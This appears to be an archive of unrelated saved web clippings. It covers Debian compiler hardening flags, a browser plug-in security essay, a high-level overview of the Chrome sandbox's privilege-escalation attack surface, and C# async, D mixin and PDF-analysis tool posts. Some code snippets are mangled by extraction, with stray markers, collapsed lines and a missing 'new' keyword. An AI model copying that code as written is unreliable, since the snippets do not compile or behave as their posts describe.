    cc -Wall -O2    trivial.c   -o trivial
    trivial.c: In function 'main':
    trivial.c:16: warning: format not a string literal and no format arguments
    $ objdump -x trivial | grep RELRO
       RELRO off    0x0000000000000de8 vaddr 0x0000000000200de8 paddr 0x0000000000200de8 align 2**0
[/code]

Known problems: \(Common build failures, non-availability on some archs\)

  * Unimplemented on ia64 \(ld silently ignores the option\). 

## DEB\_BUILD\_HARDENING\_BINDNOW \(ld -z now\)

During program load, all dynamic symbols are resolved, allowing for the PLT to
be marked read-only \(due to -z relro above\). For very large application,
this can incur some performance loss during initial load while symbols are
resolved.

Default build:

[code]

    $ make trivial
    cc -Wall -O2 trivial.c -o trivial
    $ readelf -d trivial | grep BIND
[/code]

Hardened build:

[code]

    $ DEB_BUILD_HARDENING=1 make trivial
    cc -Wall -O2 trivial.c -o trivial
    trivial.c: In function 'main':
    trivial.c:16: warning: format not a string literal and no format arguments
    $ readelf -d trivial | grep BIND
     0x0000000000000018 (BIND_NOW)           
[/code]

Known problems: \(Common build failures, non-availability on some archs\)

  * None. 

# State of implementation

An email was sent to the debian-devel-announce list in 2006 introducing the
hardening-wrapper package and describing the way to integrate this hardening
features in Debian.

A discussion has been fired on the debian-gcc list, as well as several bugs
\(bug 552688, bug 489771\) reported to decide the best way to enable hardening
compiler options.

Packages that have a bug report asking for the inclusion of this features can
be found on the bug tracker.

A list of packages including hardening-wrapper and hardening-includes in their
build-deps can be retrieved with the folowing commands:

  * reverse-build-depends --only-main --distribution unstable hardening-wrapper 
  * reverse-build-depends --only-main --distribution unstable hardening-includes 

After their meeting on the 14-16 January 2011, the debian security team
announced in an email they intend to push the inclusion of hardening features
for the wheezy release. A Birds of a Feather-session will be organized during
the 2011 debconf to setup a process.

# Notes on Memory Corruption Mitigation Methods

## User Space

### Stack Protector

gcc's -fstack-protector attempts to detect when a stack has been overwritten
and aborts the program. Ubuntu has had this enabled by default since Edgy.
Some programs do not play nice with it, and can be worked around with -fno-
stack-protector. It would be nice to enable this by default, and for gcc to
only attempt to use it when libc is being linked against.

Already done in sendmail.

### heap protection

In glibc2.5, no additional work needed.

### libc pointer encryption

In mainline glibc, as PTR\_MANGLE.

### gcc -D\_FORTIFY\_SOURCE=2 -O1

Compile-time protection against static sized buffer overflows. No known
regressions or performance loss. This should be enabled system-wide

### gcc -Wformat -Wformat-security

While not all programs correctly implement the printf hints \(like glib's
G\_GNUC\_PRINTF macro\), adding this will at least call out simple printf
format string vulnerabilities. Any programs whose builds become "noisy" as a
result, should be fixed anyway.

### gcc -pie -fPIE

This is especially difficult to plumb into packaging in a safe way, since it
requires the executable be built with -fPIE for any .o files that are linked
at the end with -pie. There is some amount of performance loss, but only due
to the -fPIE, which is already true for all the linked libraries \(via their
-fPIC\).

Already done with openssh, sendmail.

### ld -z relro

\(Or via gcc with -Wl,-z,relro\) Already done with sendmail.

### ld -z now

\(Or via gcc with -Wl,-z,now\).

## Kernel Space

### non-exec memory segmentation \(ExecShield\)

Stops execution of code in heap/stack. i386 specific \(nx already does this
for amd64\), and introduces some small level of performance loss \(5% for CPU-
bound\). Some people have worked on getting it pushed into the mainline
kernel. Current state unknown -- would be very handy to have due to the
popularity of i386. Marcus Better may be willing to continue to maintain the
patchset for Debian.

Some applications appear to break when run in the protected memory layout.
Most of these issues should be fixed due to RH \(and SUSE?\) already running
with these protections.

Additional work for user-space is identifying programs that build assembly but
fail to explicitly mark their stack as non-exec \(gnupg, for example\).

### -fstack-protector

Is available for amd64 builds:

  * config CC\_STACKPROTECTOR 

### runtime memory allocation validation

Detect double-frees in kernel space. No idea where it stands.

### Address Space Layout Randomization

  * mmap: in mainline 
  * stack: in mainline 
  * vdso: in since 2.6.18 \(COMPAT\_VDSO disables it\) 
  * heap/exec: in -mm, 2.6.24 
  * brk: 2.6.25 

Having heap/exec ASLR is a prerequisite for -pie being useful. Presently,
openssh is compiled with -pie.

### /proc/$pid/maps protection

Present in 2.6.22; requires sysctl toggle \(kernel.maps\_protect = 1\). Became
non-optional in 2.6.27

### /dev/mem protection

Included in 2.6.25.

### link protections

From the GRSecurity patchset, protections against hardlink/symlink
creation/following in world-writable areas. \(Solves tmp races.\) May
potentially break things like postfix that manipulation hardlinks? Breaks
POSIX. Getting taken in mainline may be tpossible with a build-time or proc
toggle.

http://lkml.org/lkml/2005/3/10/101 http://lkml.org/lkml/2005/4/18/167

### chroot, dmesg, fifo protections

Also from GRSecurity patchset.

## Documentation

  * https://wiki.ubuntu.com/CompilerFlags
  * http://people.redhat.com/drepper/nonselsec.pdf
  * http://www.suse.de/~krahmer/no-nx.pdf
  * http://www.neworder.box.sk/newsread.php?newsid=13007
  * http://www.hackinthebox.org/modules.php?op=modload&name=News&file=article&sid=15604&mode=thread&order=0&thold=0
  * http://www.phrack.org/archives/58/p58-0x04
  * http://insecure.org/sploits/non-executable.stack.problems.html
  * http://www.phrack.org/archives/59/p59-0x09.txt
  * http://www.coresecurity.com/files/attachments/Richarte\_Stackguard\_2002.pdf
  * http://www.redhat.com/archives/fedora-tools-list/2004-September/msg00002.html
  * http://www.gentoo.org/proj/en/hardened/hardened-toolchain.xml
  * http://labs.mwrinfosecurity.com/notices/security\_mechanisms\_in\_linux\_environment\_\_part\_1\_\_\_userspace\_memory\_protection/
  * http://labs.mwrinfosecurity.com/notices/assessing\_the\_tux\_strength\_part\_2\_into\_the\_kernel/

# Checks throughput between two nodes | commandlinefu.com
**Created:**| _4/13/2011 7:43:32 AM_  
---|---  
**Updated:**| _4/13/2011 7:43:32 AM_  
**Author:**| __  
**Tags:**| _scripting snipplets_  
  

cat /dev/zero | pv | ssh 192.168.1.2 "cat > /dev/null"

# Security: The dirty secret of browser security \#1

**Created:**| _1/31/2012 7:32:30 PM_  
---|---  
**Updated:**| _1/31/2012 7:32:41 PM_  
**Author:**| __  
**Tags:**| _attacks research browser_  
  

### The dirty secret of browser security \#1

Here's a curiousity that's developing in modern browser security: _The
security of a given browser is dominated by how much effort it puts into other
peoples' problems_.  
  
This may sound absurd at first but we're heading towards a world where the
main browsers will have \(with a few notable exceptions\):

  * Rapid autoupdate to fix security issues.

  

  * Some form of sandboxing.

  

  * A long history of fuzzing and security research.

These factors, combined with an ever more balanced distribution of browser
usage, are making it uneconomical for mass malware to go after the browsers
themselves.  
  
**Enter plug-ins**  
  
Plug-ins are an attractive target because some of them have drastically more
market share than even the most popular browser. And a lot of plug-ins haven't
received the same security attention that browsers have over the past years.  
  
The traditional view in security is to look after your own house and let
others look after theirs. But is this conscionable in a world where -- as a
browser vendor -- you have the power to defend users from other peoples' bugs?  
  
As a robust illustrative point, a lot of security professionals recently
noticed some interesting exploit kit data, showing a big difference in
exploitation success between Chrome \(~0%\) and IE / Firefox \(~15%\).  
  
The particular exploits successfully targeted are largely old, fixed plug-in
bugs in Java, Flash and Reader. So why the big difference between browsers?  
  
The answer is largely the investment Chrome's security team has made in
defending against other peoples' problems, with initiatives such as:

  * Blocking out-of-date plug-ins by default and encouraging the user to update.

  

  * Blocking lesser-used plug-ins \(such as Java, RealPlayer, Shockwave etc\). by default.

  

  * Having the Flash plug-in bundled such that it is autoupdated using Chrome's fast autoupdate strategy \(this is why Chrome probably has the best Flash security story\).

  

  * The inclusion of a lightweight and reasonably sandboxed default PDF viewer \(not all sandboxes are created equal\!\)

  

  * The Open Type Sanitizer, which defends against a subset of Windows kernel bugs and Freetype bugs. Chrome often autoupdates OTS faster than e.g. Microsoft / Apple / Linux vendors fix the underlying bug.

  

  * Certificate public key pinning. This new technology defends against the generally gnarly SSL Certificate Authority problem, and caught a serious CA compromise being abused in Iran last year.

In conclusion, some of the biggest browser security wins over the past couple
of years have come from browser vendors defending against other peoples'
problems. So I repeat the hypothesis:  
  
_The security of a given browser is dominated by how much effort it puts into
other peoples' problems_  
  
Funny world we live in.

# What is Vault Tree? - Vault-tree - Vault Tree - Relish

**Created:**| _8/24/2014 8:34:10 PM_  
---|---  
**Updated:**| _8/24/2014 8:34:10 PM_  
**Author:**| __  
**Tags:**| __  
  

# What is Vault Tree?

Vault Tree is a software framework that makes it easy to author and execute
**Distributed Cryptographic Contracts.**

These are sort of like Smart Contracts, but designed for for web developers
building applications against the Bitcoin Block Chain.

## Background

Contracts are fundemental building blocks of our modern economy. They are
simply voluntary and structured aggreements between two or more parties.

There are many examples that we are already familiar with from our daily lives
such as employment contracts and rental agreements. Also, the sophisticated
investment instruments that drive our modern financial system are just
examples of standardized contracts.

It's been know for quite a while that well structured contracts can be thought
of as a computer programs. If we bring cutting edge cryptographic libraries,
and distributed virtual currencies such as Bitcoin into the picture, can we
change the way we view the problem of **contract enforcement**?

You can think of Vault Tree as a collection of tools that will help web
developers, businesses, and online communities explore a new way of thinking
about contracts.

Last published about 1 month ago by a-bash.

  1. Print 

# TRANSIT OF THE ISS DURING THE SOLAR ECLIPSE OF JANUARY 4 2011 FROM OMAN

**Created:**| _1/5/2011 1:08:31 PM_  
---|---  
**Updated:**| _1/5/2011 1:09:06 PM_  
**Author:**| __  
**Tags:**| _awesome_  
  

**_TRANSIT OF THE ISS DURING THE SOLAR ECLIPSE OF JANUARY 4 2011 FROM OMAN_**

Any commercial use of this image \(newspaper, magazine, TV...\) shall be
submitted to Look-at-Sciences photo agency \(com@lookatsciences.com\). Other
non-profit use can be submitted directly to me: legault@astrophoto.fr

Image of the solar transit of the International Space Station \(ISS\), taken
from the area of Muscat in the Sultanate of Oman on January 4th 2011 at 9:09
UT, during the partial solar eclipse. Takahashi FSQ-106ED refractor on EM-10
mount, Canon 5D mark II. 1/5000s exposure at 100 iso.  
Transit forecast calculated by www.calsky.com \(many thanks to Arnold
Barmettler for his help\).  
Transit duration: 0.86s. ISS distance to observer: 510 km. Speed in orbit:
7.8km/s \(28000 km/h or 17000 mph\).

The image shows three planes in space: the Sun at 150 million km, the Moon at
about 400000 km and the ISS at 500 km.

\(click on the image for a larger version\)

<img src='img/Temp2_7862.jpg' width='655' height='655' />

<img src='img/Temp2_7861.jpg' width='562' height='374' />

# Turning old and busted asynchronous code into new async/await-enabled hotness with TaskCompletionSource<T>In Absentia | In Absentia
**Created:**| _1/31/2013 7:45:30 AM_  
---|---  
**Updated:**| _1/31/2013 7:45:30 AM_  
**Author:**| __  
**Tags:**| _programming Functional async_  
  

# Turning old and busted asynchronous code into new async/await-enabled
hotness with TaskCompletionSource<T>

Leave a reply

While working with a client to create a new version of their software, one of
the tasks was creating a service that talked to a hardware laser tracker, a
device which allows tracking certain points \(“targets”\) over a large
distance.

The API provided by the manufacturer was… not ideal, to say the least. The API
consisted of a managed wrapper over two classes, we’ll call them Request and
Response, providing asynchronous request and callback operations. For each
operation on the Request object, a corresponding Answer operation would arrive
asynchronously on the Response object, i.e. if a `GetPosition` method was
called on Request, sometime a `OnGetPositionAnswer` method would arrive on the
Response object, containing the relevant information.

One of the requirements was to be able to wait for several of such callbacks
to arrive, before doing another operation. Several options were considered,
among them Reactive Extensions \(Rx\)  and TPL Dataflow . In the end, I chose
an approach based on the `TaskCompletionSource<T> ` class \(part of the TPL\),
which I describe below.

Having exposed a .NET event in the Response object for each of the callbacks
we were interested in, I defined a following method, returning a `Task<T>`,
where `T` was the object that contained the data I required:

`public` `Task<PositionData> GetPositionAsync()``{``var tcs =
TaskCompletionSource<PositionData>();``// subscribe to the callback before
firing the request``_response.GetPositionAnswer += (sender, args)
=>``{``PositionData data = ... ``// translate position data from the event's
arguments``tcs.SetResult(data);``};``// perform the actual operation (method
is asynchronous, returns immediately)``_request.GetPosition();``return`
`tcs.Task;``}`  
---  
And it worked great\! The caller of `GetPositionAsync` now had a task which he
can either `await` \(if using .NET 4.5, or in .NET 4.0 using Async Targeting
Pack \(now known as Microsoft.Bcl.Async \), but only if running in Visual
Studio 2012\), or using plain old methods, available on the Task object.

However, upon calling this method a second time, an
`InvalidOperationException` **“An attempt was made to transition a task to a
final state when it had already completed.”** was thrown on the
`tcs.SetResult(data)` line. It took me a second to realize the bug, can you
see it?

The problem occurred because the event handler was not unsubscribed from,
after the task had completed\! Since the handler is a lambda expression, it
captured the variable `tcs` when it was created. When we called
`GetPositionAsync()` the second time, we made another subscription to the
event handler, but when it fired, the first subscription was handled first,
attempting to set the result of the **first** `TaskCompletionSource` instance,
which had, of course, already finished.

Unsubscribing from an anonymous method \(or a lambda expression\) is possible,
but not very pretty. It requires a small abuse of the C\# syntax, to have the
handler stored in a local variable, then subscribed and unsubscribed from.
After a bit of tweaking, this was the end result, solving the problem:

`public` `Task<PositionData> GetPositionAsync()``{``var tcs = ``new`
`TaskCompletionSource<PositionData>();``// Declare and initialize a local
variable of type EventHandler to null``// This is needed to use the variable
inside the lambda expression body``EventHandler handler = ``null``;``handler
+= (sender, args) => ``{``PositionData data = ... ``// get the data from event
args``tcs.SetResult(data);``// unsubscribe from the event handler when task is
complete``_response.GetPositionAnswer -= handler;``};``// subscribe to the
event handler before executing the operation``_response.GetPositionAsync +=
handler;``_request.GetPosition();``return` `tcs.Task;``}`  
---  
It’s not very pretty, but it does the job. If anyone has a better suggestion,
please leave a comment\!

Until next time, happy asyncing\!

# Azimuth Security: The Chrome Sandbox Part 1 of 3: Overview

**Created:**| _8/29/2010 7:45:51 AM_  
---|---  
**Updated:**| _8/29/2010 7:46:22 AM_  
**Author:**| __  
**Tags:**| _web-app-sec security tools web client-side browser sandboxing_  
  
The Chrome Sandbox Part 1 of 3: Overview  
---  
| <img src='img/Temp2_954.gif' width='15' height='15' />|  _posted by Mark
@5/20/2010 08:26:00 PM_  
---|---  
Earlier this year, CanSecWest hosted the popular "Pwn2Own" contest, whereby
contestants attempt to exploit vulnerabilities they have discovered in popular
software packages. The contest has a strong focus on web browsers, and this
year, it didn't disappoint: all of the major web browsers were successfully
compromised, with the notable exception of Google's Chrome. I believe Chrome's
survival was largely due to its integrated sandbox, which aims to isolate the
browser from being able to perform any potentially adverse operations on the
system upon which it is running. I have been working with Google for the last
several months on Chrome, with one of my major charges being a security review
of the sandbox and its related components. Therefore, with Google's blessing,
I thought I might take some time here to discuss the basic sandbox
architecture, the attack surface, and present a few examples of
vulnerabilities I uncovered during my time working on it.  
  
  
  
There is a fair bit of topic material to cover, and so I have decided to split
up my this brain dump over three posts. This first post will discuss the basic
Chrome architecture and process interaction. It is intended to be a high-level
introduction to set the stage for the more technical discussion that will be
presented in the follow-on posts. The second post will focus on the messaging
facilities that Chrome processes use to communicate with each other. These
communication failicities are fundamental to the Chrome sandbox's
functionality, but more importantly expose an extensive attack surface for
privilege escalations. The final post will detail the specifics of the Linux
and Windows OS features used to sandbox renderer processes from the rest of
the system.  
  
**Multi-process Architecture  
**  
Chrome adopts a multi-process architecture as part of Google's "principle of
least privilege" security strategy. In essence, the sandbox attempts to
isolate processes from accessing anything of value on the target system -
including files, other processes, and IPC objects \(with the exception of
those used by Chrome itself\). In order to understand Chrome's sandbox, it is
important to be familiar with how work is partitioned among the various
processes that are typically present during a browsing session. The diagram
below illustrates Chrome's multi-process architecture.  
  
<img src='img/Temp2_953.gif' width='100%' />  
  
_Figure 1: Chrome Process Architecture_  
| **Note  
** _Several other processes may potentially exist that have not been depicted,
depending on the actions taking place in the browsing session. For example, an
installer process may be spawned when Chrome extensions are downloaded. These
auxiliary processes have been omitted from the diagram for simplicity._  
---  
Each of the major components are briefly described below.  
  
_Browser Process_ \- A single privileged browser process exists for the
duration of a browsing session. The browser process is responsible for
spawning other processes as needed, provisioning tasks to them, and performing
privileged operations on behalf of processes that do not have the required
system access to perform the operations themselves.  
  
_Renderer Process_ \- A renderer process is spawned each time a new tab or
window is opened, and is responsible for performing the parsing and rendering
of the web page being viewed. This includes HTML parsing, JavaScript
functionality, and image processing.  
  
_Plugin Process_ \- Plugins are hosted inside their own private process and
communicate with the renderer and browser processes. There is a single process
for each different plugin, regardless of how many different embedded object
instances there are of that plugin. Plugin processes actually run with full
privileges by default \(like the browser process does\), although this will
eventually change when certain compatibility issues are solved.  
  
_GPU Process_ \- A single GPU process optionally exists to perform GPU-related
tasks on behalf of renderer processes. The GPU process is not confined to a
sandbox.  
  
_IPC Channels_ \- The IPC Channels make up Chrome's messaging framework, which
provides facilities for the various Chrome processes to interact with each
other over local OS-specific transport mechanisms.  
  
**Attacking Chrome  
**  
It should be evident from the description above that finding flaws in some of
the browser components have more severe security-related consequences than
others, due to the privileges associated with the process performing the
operations. The table below provides a basic breakdown of some of the major
components of the browser exposed to attack and where that processing takes
place.  
  
  

**Component**| **Process**  
---|---  
Network Protocol Parsing | _Browser_  
Creating/Managing Tabs/Windows | _Browser_  
Caching of Input Text | _Browser_  
Spellchecking/Normalization | _Browser_  
Clipboard Management | _Browser_  
HTML Parsing/Rendering | _Renderer_  
JavaScript Parsing | _Renderer_  
Image Processing | _Renderer_  
Plugins | _Plugin_  
GPU Processing | _GPU_  
IPC Message | _\[All\]_  
  
Of all the processes listed, only the renderers are sandboxed. Therefore,
targeting exposed functionality that is performed by anything other than the
renderer \(such as network protocol parsing\) can potentially yield bugs that
result in remote access to the target system without any additional
restrictions that the sandbox would usually impose. Having said that, the
functions that the renderer performs encompass a large portion of the usual
attack surface for a web browser, and so it is likely that most of the flaws
uncovered in Chrome in the future will continue to be related to these
components. Due to the restrictive nature of Chrome's sandbox, it would be
necessary for an attacker to escalate their privileges using a second
vulnerability after compromising a renderer to gain further access to the
system. Therefore, privilege escalation vectors within Chrome are also a key
focal point of any security audit. There are several primary attack surfaces
for privilege escalation, which are as follows:  
  

  *   

_IPC Messaging_ \- Parsing flaws within the messaging framework used for
inter-process communication would provide an ideal way to gain privileges of
one of the non-sandboxed processes. This area will be examined in depth in the
next blog post.

  

  *   

_Exposed Services_ \- Each process participating within the Chrome browsing
session exposes services to other processes via the aforementioned IPC
channels. It is important to evaluate all of the exposed functions that can be
called from the renderer for programming flaws or inadvertent security
exposures that lead to sandbox bypasses. This attack surface will also be
covered extensively in the next blog post.

  

  *   

_Sandbox Weaknesses -_ When attacking any sandbox, it is necessary to be
familiar with exactly what the sandbox protects against, and how effective it
is at enforcing the various restrictions it is attempting to place on
processes in isolation. The third blog post in this series will discuss the
sandbox itself and how it is implemented on Linux and Windows. I will also
give examples of flaws uncovered that I uncovered in both of the sandbox
implementations

  

  *   

_Shared Resources_ \- It should be noted that there are several indirect forms
of attacking the more privileged processes. Specifically, some of the Audio,
Video, and Graphics data is supplied by a renderer process to a more
privileged process \(such as the GPU process\) by placing that data in a
shared memory buffer, and then notifying the more privileged process about it.
Since some of the parsing of this data occurs in the more privileged
processes, it is a potentially useful avenue for targeting parsing flaws to
gain further access to the system. This avenue, although quite interesting, is
not discussed further, and is left as an exercise to the reader.

  

  * _OS/External Software_ \- Of course, an attacker could target flaws in the OS kernel or external software compoonents such as local services instead. These vectors are out of scope of this discussion and will not be considered further.  

**Conclusion  
**  
As you can see, there is a significant amount of material to cover. Tune in
for my next two posts where I will dig in to the details of the sandbox a
little further and present several flaws that I uncovered throughout the
course of the review\!

Labels: Browsers, Chrome, Privilege Escalation, Sandbox,Vulnerabilities

# Low-overhead components | CyberShadow’s blog
**Created:**| _7/30/2013 8:10:17 AM_  
---|---  
**Updated:**| _7/30/2013 8:10:17 AM_  
**Author:**| __  
**Tags:**| _programming Design_  
  

# **L** ow-overhead components****

My personal dream of an ideal programming language is one that allows defining
flexible, configurable components that can be coupled together with very
little overhead, producing in the end code that, if reverse-engineered, would
appear to be hand-written and optimized for the specific task at hand**.**
Preconfigured component configurations / presets would be available for common
use, favoring safety and feature-completeness, but for performance-critical
cases, the programmer could break them down and strip out unneeded features to
reduce overhead, or customize by injecting their own components into the
mix**.**

One typical example of such component composition is allocators**.** The
HeapLayers  project is a C++ library which allows combining and layering
components to create allocators with various strategies**.** I understand that
STL allocators are stateless, which is boring – we want freelists and regions
with lifetimes we can manage**.**

Another example is XML parsing \(which is frequently the target of
benchmarks\)**.** Performance can depend on the exact demands. For example: do
we need to store the parsed data somewhere, or just look at it while it’s
being decoded**?** Do we know that the XML is well-formed? Do we care about
namespaces**?** Do we want to decode XML entities in-loop, or lazily**?** Do
we want to optimize for memory usage and intern all strings \(which would also
allow doing XML entity decoding only once per unique string\), or should we
rather store slices of the input string**?** \(Some of the above are more
related to policy-based design rather than composition, which is not entirely-
unrelated**.**\)

I was having some memory performance problems with a small personal project,
so I wanted to have a go at implementing some kind of allocators in D. Not
really to invent a wheel, or even invent a better one, but just to explore and
play around with the concepts involved**.**

In C++, composition seems to be usually done using class inheritance \(the top
layer class inherits from the underlying layers\)**.** This approach is not
applicable to D, since D doesn’t have value-type inheritance**.** So, my first
approach looked like this:

`struct` `LAYER(BASE)``{``BASE base;``// ..**.** use base ..**.**``}`  
---  
Quite simple**.**

The `base` field is public, which means that the user code can initialize it,
if needed, before use**.** Or access it directly, if needed. It could also be
a pointer \(thankfully D ditched C++’s `->`\), so e.g. two data structures can
use the same allocator, albeit at the cost of the indirection**.**

There are two minor annoyances about this design, though:

  1. Having to use a pointer to the underlying layer is sometimes wasteful:
`struct` `Data``{``// Instantiate our allocator template``alias`
`FancyAllocator**!**(PerformancePolicy.awesome) Allocator;``// The first data
structure contains the allocator``LinkedList**!**(Node, Allocator) list;``//
The second data structure contains a pointer to the
allocator``HashTable**!**(``string``, Node, Allocator*) hashTable;``void`
`initialize() { hashTable.allocator = &list.allocator; }``}`  
---  
At least one of the data structures needs to use a pointer to refer to the
allocator it uses**.** However, `hashTable` can know exactly where the
allocator is – it’s a few bytes before its own `this` pointer**.**

If the allocator was a field in `Data` alongside `HashTable`, we could pass it
as an alias parameter – however, `HashTable` wouldn’t be able to refer to it,
because its `this` points to `HashTable`, and knows nothing about the outer
`Data` type or where other `Data` fields are**.**

  2. Composition via “nesting” with many layers can result in rather ridiculous code**.** For example, here’s two lines from my small project:
`// Clear (but don't free) the XML parser's output
buffer``xmlParser.output.writer.allocator.clear();``// Get the root node of
the parsed XML``auto` `root = xmlParser.output.writer.dom.root;`  
---  
We could use `alias this` to flatten the layers, but then we have issues with
name collisions between components that should not know anything about each
other’s internals**.**

Can we do better?

Well…

D has mixins**.** Mixins can be used as aggregates \(they don’t introduce a
scope, but you can name them to refer to them explicitly\)**.** You can pass
mixins as alias template parameters**.**

So, now we have this:

`mixin` `template` `LAYER(``alias` `BASE)``{``// ..**.** use BASE ..**.**``}`  
---  
and used like this:

`struct` `Data``{``mixin` `Layer0**!**(**.**.params..) layer0;``mixin`
`Layer1**!**(layer0, ..params.**.**) layer1;``// ..**.**``}`  
---  
This does solve both of the annoyances presented above**.** As a bonus, all
layers share the same `this` pointer, so \(not counting compiler
optimization\) we can shave a few instructions for inter-component calls**.**

However…

Using mixins for this purpose has its own share of problems.

The biggest problem is that you can’t take the address of a mixin**.** This
means that it’s difficult to refer to a specific layer outside the aggregate
where that layer is mixed in:

`struct` `Data ``// actual code from my project``{``alias` `heapAllocator
baseAllocator;``mixin` `RegionAllocator**!**(FreeListNode**!** Node,
``1024``*``16``, baseAllocator) bulkAllocator;``mixin`
`FreeListAllocator**!**(Node, bulkAllocator) freeListAllocator;``alias`
`freeListAllocator allocator;``}``struct` `SomeNode``{``Data* data;``mixin`
`LinkedList**!**(Node, data.allocator) list; ``// error``}`  
---  
What we could \(or should be able to\) do, is add “`alias allocator this`” to
`Data`, then we can use `data` as an allocator directly**.** However, this a\)
is not elegant \(pollutes `Data`‘s symbol list\), and b\) doesn’t work \(but
you can generate aliases by enumerating the mixin members\)**.**

Expressions are no-go for template alias parameters, and `data.allocator` is
an expression**.** We can only pass a symbol accessible from the current scope
with no context**.** If mixin pointers were a thing, this would work:

`@property` `auto` `allocator() { ``return` `&data.allocator; }`  
---  
But since they’re not, we have to use string mixins**.**

`mixin` `template` `MyAllocator(``alias` `BASE)``{``static` `if`
`(``is``(``typeof``(BASE) == ``string``))``enum` `BASE_EXPR =
BASE;``else``enum` `BASE_EXPR = q{BASE};``// ..**.** use mixin(BASE_EXPR)
...``}``// ..**.**``struct` `SomeNode``{``Data* data;``mixin`
`LinkedList**!**(Node, q{data.allocator}) list;``}`  
---  
String mixins solve everything**.** Yay…

Note that passing an “expression” containing local symbols via string mixins
only works for template mixins, and not templated structs as above**.** This
is because the scope of instantiated templates is the scope where the template
is declared \(so it sees symbols from the template declaration’s context, but
not the instantiation’s context\), whereas template mixins are opposite – when
instantiated, they see symbols from the instantiation context, but not their
declaration context**.**

This can be a problem in itself, and is another issue with using template
mixins for composable components**.** Here’s an example…

Mixins are not types, thus not usable by themselves – to get a real type you
can pass around, you have to wrap a mixin in a struct or class**.** This
happens fairly often, so it makes sense to declare a template to do this for
us:

`struct` `WrapMixin(``alias` `M, ARGS..**.**)``{``mixin` `M**!** ARGS;``}`  
---  
So, just type `WrapMixin**!**(MyComponent, ..params..)` to instantiate
`MyComponent` with the specified params.

However… the mixin alias passed to `WrapMixin` will be instantiated in
`WrapMixin`‘s scope**.** This means that if any of the parameters you passed
refer to local symbols, your instantiated mixin won’t see them**.**

Instead, we have to do this:

`/// Declares a WrapMixin template in the current scope, which will``///
create a struct containing an instance of the mixin template M,``///
instantiated with the given ARGS**.**``/// WrapMixin is not reusable across
scopes**.** Each scope should have an``/// instance of WrapMixin, as the
context of M's instantiation will be``/// the scope declaring WrapMixin, not
the scope declaring M.``mixin` `template` `AddWrapMixin()``{``private`
`struct` `WrapMixin(``alias` `M, ARGS..**.**) { ``mixin` `M!ARGS; }``}`  
---  
Then, every time we want to use `WrapMixin`, we have to add `AddWrapMixin` to
the current scope so our mixin in the mixed-in `WrapMixin` sees all our local
symbols**.**

But wait, there’s more\!

What if you want to make a template that wraps a mixin in a struct, but allows
specifying the mixin’s parameters at a later time**?** So that you could do:

`mixin` `template` `ListMixin(..**.**) { ..**.** }``alias` `MixinWrapper**!**
ListMixin List;``List**!**(T, myAllocator) myList;`  
---  
Well, it’s the same story, but now with template templates:

`/// Declares a MixinWrapper template in the current scope, which will``///
create a struct template containing an instance of the mixin template``/// M,
instantiated with the arguments passed to the struct template**.**``///
Similar to WrapMixin, MixinWrapper is not reusable across scopes**.**``///
Each scope should have an instance of MixinWrapper, as the context of``/// M's
instantiation will be the scope declaring MixinWrapper, not the``/// scope
declaring M.``mixin` `template` `AddMixinWrapper()``{``private` `template`
`MixinWrapper(``alias` `M)``{``struct` `MixinWrapper(ARGS..**.**)``{``mixin`
`M**!** ARGS;``}``}``}`  
---  
Headache yet**?** <img src='img/Temp2_4973.gif' alt=':)' />

A final nuisance with mixin templates is symbol pollution, and inability of
creating a strong scope**.** Although you can name mixins when you instantiate
them, specifying the mixin name is optional, and only mandatory when two
mixins declare the same identifier**.** Thus, mixins mixed in the same scope
always see each other’s symbols**.** This has once led to a bug in my code
where in one component I accidentally used another component’s field:

`mixin` `template` `Component1()``{``int` `*ptr;``}``mixin` `template`
`Component2()``{``void` `f(``int``* p)``{``*ptr = ``42``; ``// oops``}``}`  
---  
Conclusion: mixin templates are a tempting way to design low-overhead
components, but using them this way leads to certain problems one needs to be
aware of**.**

What can we improve in D to make the situation better**?**

  * Being able to take the address of mixins**.** This seems to me like a low-hanging fruit – the result of this operation would be the same pointer as to the entire aggregate, but the particular mixin we refer to would be embedded in the pointer’s type**.**
  * Some kind of templated aggregate between structs and mixins, which introduces a new symbol scope \(like structs\), and the instantiated scope of which is its declaration \(like structs\), but doesn’t have its own `this` pointer \(like mixins\), would be ideal**.**
  * Failing that, having this syntax work would be neat:
`struct` `Data``{``int` `someField;``MyStructTemplate**!** someField s;``}`  
---  
The idea: If we pass a local symbol \(from the same aggregate\) to a
template’s alias parameter, then the instantiated `MyStructTemplate` would be
aware that it is a field of the `Data` struct at the specified offset, and
that `someField` lies just 4 bytes above its own `this` pointer**.**
“`MyStructTemplate**!** someField s1, s2`” would result in two distinct
template instantiations, since their relative offset from `someField` would be
different**.**

Code:

\(Note that this code is more for the sake of experimentation, and is not
meant for production**.**\)

Commit aed79189  is the last commit with struct allocators**.**

****

# Opaf\! « Feliam's Blog

**Created:**| _8/23/2010 3:17:50 PM_  
---|---  
**Updated:**| _8/23/2010 3:17:52 PM_  
**Author:**| __  
**Tags:**| __  
  

# Feliam's Blog

Security stuff..

  * Home
  * About

## Opaf\!

### August 23, 2010

  

# It’s an Open PDF Analysis Framework\!

A pdf file rely on a complex file structure constructed from a set tokens, and grammar rules. Also each token being potentially compressed, encrypted or even obfuscated. **Open PDF Analysis Framework** will understand, decompress, de-obfuscate this basic pdf elements and present the resulting soup as a clean XML tree\(done\!\). From there the idea is to compile a set of rules that can can be used to decide what to keep, what to cut out and ultimately if it is safe to open the resulting pdf projection\(todo\!\). | <img src='img/Temp2_5821.png' width='240' height='240' />  
---|---  
Its written in python using PLY parser generator. The project page is here and
you can get the code from here:

svn checkout http://opaf.googlecode.com/svn/trunk/ opaf-read-only

Keep reading for a test run…  
  
Well, you first need a shady pdf like this one. This is not any alien PDF and
that’s nothing really malicious about it. It even look plain…  
<img src='img/Temp2_5817.png' width='222' height='300' />

… but if you try to open it with a tex/hex editor it stop being so friendly…

<img src='img/Temp2_5816.png' width='300' height='215' />

Here is where you get to try the OPAF\! thing. Get the code and the pdf, solve
the dependencies an run it like this..

python opaf.py textg.pdf

it will generate a graph like the following for your ammusment..  
<img src='img/Temp2_5820.png' width='300' height='300' />

That shows the minimalistic logical structure of this PDF. Note that you may
get really big graphs here with other pdf samples.I have tried up to 3k nodes.
Thats fun\! But sadly not very useful. But that’s not all\! It also gets you
an XML representation of the pdf. This XML will look like this…  
<img src='img/Temp2_5818.png' width='300' height='205' />

After this step, well you pretty much put in the game every known xml
technology. XPATH being the mos notable one when searching for specific
things. In the project, the small, young, not finished, work in progress
flagged, not really well coded project there are some examples of what you can
do when got the pdf in its xml form. Use it, ignore it, patch it. Its open
source\! f/

Posted by feliam

